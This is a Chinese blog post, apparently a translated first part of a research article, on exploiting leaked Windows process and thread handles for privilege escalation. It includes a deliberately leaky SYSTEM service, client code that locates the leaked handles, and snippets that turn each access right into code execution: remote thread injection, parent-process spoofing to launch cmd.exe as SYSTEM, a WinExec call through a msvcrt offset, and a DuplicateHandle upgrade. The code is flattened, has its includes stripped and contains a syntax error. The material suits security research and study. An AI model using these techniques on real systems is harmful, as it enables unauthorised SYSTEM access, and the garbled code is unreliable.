cdiag句柄 如何获得_深入剖析线程与进程句柄泄露漏洞(上)

多年来,笔者曾经遇到并利用过一些句柄泄露漏洞。当然,这些过程也特别有趣,因为并不是所有的句柄都被授予了`PROCESS_ALL_ACCESS`或`THREAD_ALL_ACCESS`权限,所以,要想顺利利用,还是要开动脑筋的。在这篇文章中,我们将为读者介绍句柄的各种访问权限,以及如何利用这些权限来实现代码执行。在这里为,我们将重点关注进程和线程句柄,因为这些是最常见的,当然,其他对象的句柄也可以以类似的方式加以利用。 

虽然这种漏洞可能在各种情况下发生,但我遇到的最常见的情形是,当某个特权进程打开一个句柄,并将`bInheritHandle`设置为true时,就会出现该漏洞。一旦发生这种情况,该特权进程的所有子进程都会继承句柄及其授予的所有访问权限。例如,假设一个SYSTEM级的进程执行以下操作:

HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, TRUE, GetCurrentProcessId());

由于它允许继承已经打开的句柄,所以任何子进程都可以访问该句柄。如果它们执行了模拟桌面用户的用户态(userland)代码——像服务经常做的那样,那么这些用户态进程将获得访问该句柄的权限。

已发现的漏洞

下面,我们列举几个已经公开的漏洞实例。例如,James Forshaw[0]在2016年就曾经利用过一个从具有`THREAD_ALL_ACCESS`访问权限的辅助登录服务中泄漏的特权线程的句柄。实际上,这是一种最“常见”的权限,但他却以一种当时我并不了解的新颖方式利用了它。

另一个是来自Ivan Fratric[1] 的例子,他曾经利用过一个被泄漏的、具有`PROCESS_DUP_HANDLE`权限的进程句柄。在他发表的“Bypassing Mitigations by Attacking JIT Server in Microsoft Edge”白皮书中,他指出JIT服务器进程会将内存映射到内容进程(content process)。为此,JIT进程需要用到一个句柄。内容进程将使用`PROCESS_DUP_HANDLE`来调用自身的`DuplicateHandle`,攻击者可以利用这一点来获取具有全部访问权限的句柄。

最近的一个例子是戴尔LPE [2],其中从特权进程获得了一个具有“THREAD_ALL_ACCESS”权限的句柄。攻击者能够通过下载的DLL和APC来利用该漏洞。

98075c46fff1ac346ba30dfce90c4f79.png        搭建测试环境

在这篇文章中,我想考察句柄所有可能的访问权限,以确定哪些权限是可以利用的,哪些权限是无法利用的。对于那些无法利用的权限,我会设法弄清楚需要结合哪些权限,才能正常加以利用。

为了完成相应的测试,我创建了一个简单的客户端和服务器:一个泄漏句柄的特权服务器和一个能够使用它的客户端。下面是服务器的代码:

#include "pch.h"#include #include int main(int argc, char **argv){    if (argc <= 1) {        printf("[-] Please give me a target PID\n");        return -1;    }     HANDLE hUserToken, hUserProcess;    HANDLE hProcess, hThread;    STARTUPINFOA si;    PROCESS_INFORMATION pi;     ZeroMemory(&si, sizeof(si));    si.cb = sizeof(si);    ZeroMemory(&pi, sizeof(pi));     hUserProcess = OpenProcess(PROCESS_QUERY_INFORMATION, false, atoi(argv[1]));    if (!OpenProcessToken(hUserProcess, TOKEN_ALL_ACCESS, &hUserToken)) {        printf("[-] Failed to open user process: %d\n", GetLastError());        CloseHandle(hUserProcess);        return -1;    }     hProcess = OpenProcess(PROCESS_ALL_ACCESS, TRUE, GetCurrentProcessId());    printf("[+] Process: %x\n", hProcess);     CreateProcessAsUserA(hUserToken,        "VulnServiceClient.exe",        NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);    SuspendThread(hThread);    return 0;}

在上面代码中,我获取了要模拟的令牌的句柄,打开了当前进程(以SYSTEM权限运行)的可继承句柄,然后派生了一个子进程。实际上,这个子进程就是客户端应用程序,它将尝试利用该句柄来完成相应的攻击。

当然,本文更多涉及到的还是客户端。接下来,我们先介绍如何获取泄漏的句柄。实际上,这一步可以通过`ntQuerySystemInformation`来完成,并且无需任何特权:

void ProcessHandles(){    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");    _NtQuerySystemInformation NtQuerySystemInformation =        (_NtQuerySystemInformation)GetProcAddress(hNtdll, "NtQuerySystemInformation");    _NtDuplicateObject NtDuplicateObject =        (_NtDuplicateObject)GetProcAddress(hNtdll, "NtDuplicateObject");    _NtQueryObject NtQueryObject =        (_NtQueryObject)GetProcAddress(hNtdll, "NtQueryObject");    _RtlEqualUnicodeString RtlEqualUnicodeString =        (_RtlEqualUnicodeString)GetProcAddress(hNtdll, "RtlEqualUnicodeString");    _RtlInitUnicodeString RtlInitUnicodeString =        (_RtlInitUnicodeString)GetProcAddress(hNtdll, "RtlInitUnicodeString");     ULONG handleInfoSize = 0x10000;    NTSTATUS status;    PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(handleInfoSize);    DWORD dwPid = GetCurrentProcessId();     printf("[+] Looking for process handles...\n");     while ((status = NtQuerySystemInformation(        SystemHandleInformation,        phHandleInfo,        handleInfoSize,        NULL    )) == STATUS_INFO_LENGTH_MISMATCH)        phHandleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(phHandleInfo, handleInfoSize *= 2);     if (status != STATUS_SUCCESS)    {        printf("NtQuerySystemInformation failed!\n");        return;    }     printf("[+] Fetched %d handles\n", phHandleInfo->HandleCount);     // iterate handles until we find the privileged process    for (int i = 0; i < phHandleInfo->HandleCount; ++i)    {        SYSTEM_HANDLE handle = phHandleInfo->Handles[i];        POBJECT_TYPE_INFORMATION objectTypeInfo;        PVOID objectNameInfo;        UNICODE_STRING objectName;        ULONG returnLength;         // Check if this handle belongs to the PID the user specified        if (handle.ProcessId != dwPid)            continue;         objectTypeInfo = (POBJECT_TYPE_INFORMATION)malloc(0x1000);        if (NtQueryObject(            (HANDLE)handle.Handle,            ObjectTypeInformation,            objectTypeInfo,            0x1000,            NULL        ) != STATUS_SUCCESS)            continue;         if (handle.GrantedAccess == 0x0012019f)        {            free(objectTypeInfo);            continue;        }         objectNameInfo = malloc(0x1000);        if (NtQueryObject(            (HANDLE)handle.Handle,            ObjectNameInformation,            objectNameInfo,            0x1000,            &returnLength        ) != STATUS_SUCCESS)        {            objectNameInfo = realloc(objectNameInfo, returnLength);            if (NtQueryObject(                (HANDLE)handle.Handle,                ObjectNameInformation,                objectNameInfo,                returnLength,                NULL            ) != STATUS_SUCCESS)            {                free(objectTypeInfo);                free(objectNameInfo);                continue;            }        }         // check if we've got a process object; there should only be one, but should we        // have multiple, this is where we'd perform the checks        objectName = *(PUNICODE_STRING)objectNameInfo;        UNICODE_STRING pProcess, pThread;         RtlInitUnicodeString(&pThread, L"Thread");        RtlInitUnicodeString(&pProcess, L"Process");        if (RtlEqualUnicodeString(&objectTypeInfo->Name, &pProcess, TRUE) && TARGET == 0) {            printf("[+] Found process handle (%x)\n", handle.Handle);            HANDLE hProcess = (HANDLE)handle.Handle;        }        else if (RtlEqualUnicodeString(&objectTypeInfo->Name, &pThread, TRUE) && TARGET == 1) {            printf("[+] Found thread handle (%x)\n", handle.Handle);            HANDLE hThread = (HANDLE)handle.Handle;        else            continue;         free(objectTypeInfo);        free(objectNameInfo);    }}

实际上,我们可以先获取所有系统句柄,然后过滤出我们进程的句柄,接着寻找相应的线程或进程即可。在具有多个线程或进程句柄的客户端进程中,我们需要进一步向下筛选,但这对于测试来说已经足够了。

本文的其余部分将针对进程和线程安全访问权限分别进行讨论。

进程的访问权限

实际上,特定于进程的权限大约有14个[3]。现在,我们将忽略标准对象访问权限(如DELETE、READ_CONTROL等),因为它们更多地应用于句柄本身,而非应用于句柄所能做的事情上面。

首先,我们将忽略以下权限:

PROCESS_QUERY_INFORMATIONPROCESS_QUERY_LIMITED_INFORMATIONPROCESS_SUSPEND_RESUMEPROCESS_TERMINATEPROCESS_SET_QUOTAPROCESS_VM_OPERATIONPROCESS_VM_READSYNCHRONIZE

需要说明的是,上述访问权限只是很难单独加以利用;当然,与其他权限一起使用时,它们也非常有用。此外,在某些特殊情况下,其中某些权限可能是有用的(例如PROCESS_TERMINATE),但是正常情况下,是很难加以利用的。

下面是需要考察的访问权限:

PROCESS_ALL_ACCESSPROCESS_CREATE_PROCESSPROCESS_CREATE_THREADPROCESS_DUP_HANDLEPROCESS_SET_INFORMATIONPROCESS_VM_WRITE

接下来,我们将逐个加以考察。

PROCESS_ALL_ACCESS

最明显的是,这一个可以赋予我们所有的权限。我们可以简单地分配内存并创建一个线程来实现代码执行:

char payload[] = "\xcc\xcc";LPVOID lpBuf = VirtualAllocEx(hProcess, NULL, 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);WriteProcessMemory(hProcess, lpBuf, payload, 2, NULL);CreateRemoteThread(hProcess, NULL, 0, lpBuf, 0, 0, NULL);

所以,这个就没有什么好说的了。

PROCESS_CREATE_PROCESS

这个权限是“创建进程时所必需的”,也就是说,有了它我们就可以创建子进程了。若要远程执行该操作的话,我们只需要生成一个进程,并将其父进程设置为我们可以从那里获得句柄的特权进程。这样的话,就可以创建新进程并继承其父令牌,而该令牌则有望成为SYSTEM令牌。

具体操作如下所示:

STARTUPINFOEXA sinfo = { sizeof(sinfo) };PROCESS_INFORMATION pinfo;LPPROC_THREAD_ATTRIBUTE_LIST ptList = NULL;SIZE_T bytes; sinfo.StartupInfo.cb = sizeof(STARTUPINFOEXA);InitializeProcThreadAttributeList(NULL, 1, 0, &bytes);ptList = (LPPROC_THREAD_ATTRIBUTE_LIST)malloc(bytes);InitializeProcThreadAttributeList(ptList, 1, 0, &bytes); UpdateProcThreadAttribute(ptList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hPrivProc, sizeof(HANDLE), NULL, NULL);sinfo.lpAttributeList = ptList; CreateProcessA("cmd.exe", (LPSTR)"cmd.exe /c calc.exe",        NULL, NULL, TRUE,        EXTENDED_STARTUPINFO_PRESENT, NULL, NULL,        &sinfo.StartupInfo, &pinfo);

这样,我们就能运行一个具有特权令牌的calc进程了。显然,我们想要用更有用的东西取而代之!

PROCESS_CREATE_THREAD

现在,我们已经可以使用`CreateRemoteThread`了,但无法控制目标进程中的任何内存。当然,在没有直接写访问权限的情况下,我们也可以影响内存,但我们仍无法解析这些地址。然而,事实证明,我们根本就不需要控制这些内存。这是因为`CreateRemoteThread`可以指向一个带有单个参数的函数,这就赋予了我们很多的控制权。此外,`LoadLibraryA`和`WinExec`都是执行子进程或加载任意代码的理想选择。

例如,msvcrt.dll中有一个位于偏移量0x503b8处的ANSI`cmd.exe`。我们可以将它作为参数传递给`CreateRemoteThread`,从而触发一个`WinExec`调用来弹出一个shell:

DWORD dwCmd = (GetModuleBaseAddress(GetCurrentProcessId(), L"msvcrt.dll") + 0x503b8);HANDLE hThread = CreateRemoteThread(hPrivProc, NULL, 0,                        (LPTHREAD_START_ROUTINE)WinExec,                        (LPVOID)dwCmd,                        0, NULL);

当然,我们也可以为`LoadLibraryA`做类似的事情。当然,这取决于系统路径中是否包含用户可写的目录。

PROCESS_DUP_HANDLE

Microsoft在官方发布的进程安全和访问权限相关文档中明确指出,这是一项非常敏感的权限。通过它,我们可以简单地使用`PROCESS_ALL_ACCESS`复制我们的进程句柄,并赋予我们对其地址空间完整的RW权限。根据Ivan Fratric的JIT漏洞的介绍,这个过程非常简单:

HANDLE hDup = INVALID_HANDLE_VALUE;DuplicateHandle(hPrivProc, GetCurrentProcess(), GetCurrentProcess(), &hDup, PROCESS_ALL_ACCESS, 0, 0)

现在,我们就可以在满足WriteProcessMemory/CreateRemoteThread策略的情况下来执行任意代码了。

PROCESS_SET_INFORMATION

获取该权限后,不仅有权执行`SetInformationProcess`,还能访问`NtSetInformationProcess`的多个字段。实际上,后者的功能要强大得多,但许多可用的`PROCESSINFOCLASS`字段要么是只读的,要么需要具有额外的权限才能进行设置(例如具有`SeDebugPrivilege`权限后,才能设置`ProcessExceptionPort`和`ProcessInstrumentationCallback`(win7))。关于这个类及其成员的最新定义,请参阅Process Hacker [15]。

对于各个可用的标志而言,单独使用并没多大的威力,但是,添加`PROCESS_VM_ *`权限后,它们就具有很大的利用价值了。

(未完待续)

26eb09a91403c737f516aaf8dd8d0bc1.png

faa8130720e8130368a787853ba0801f.png

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值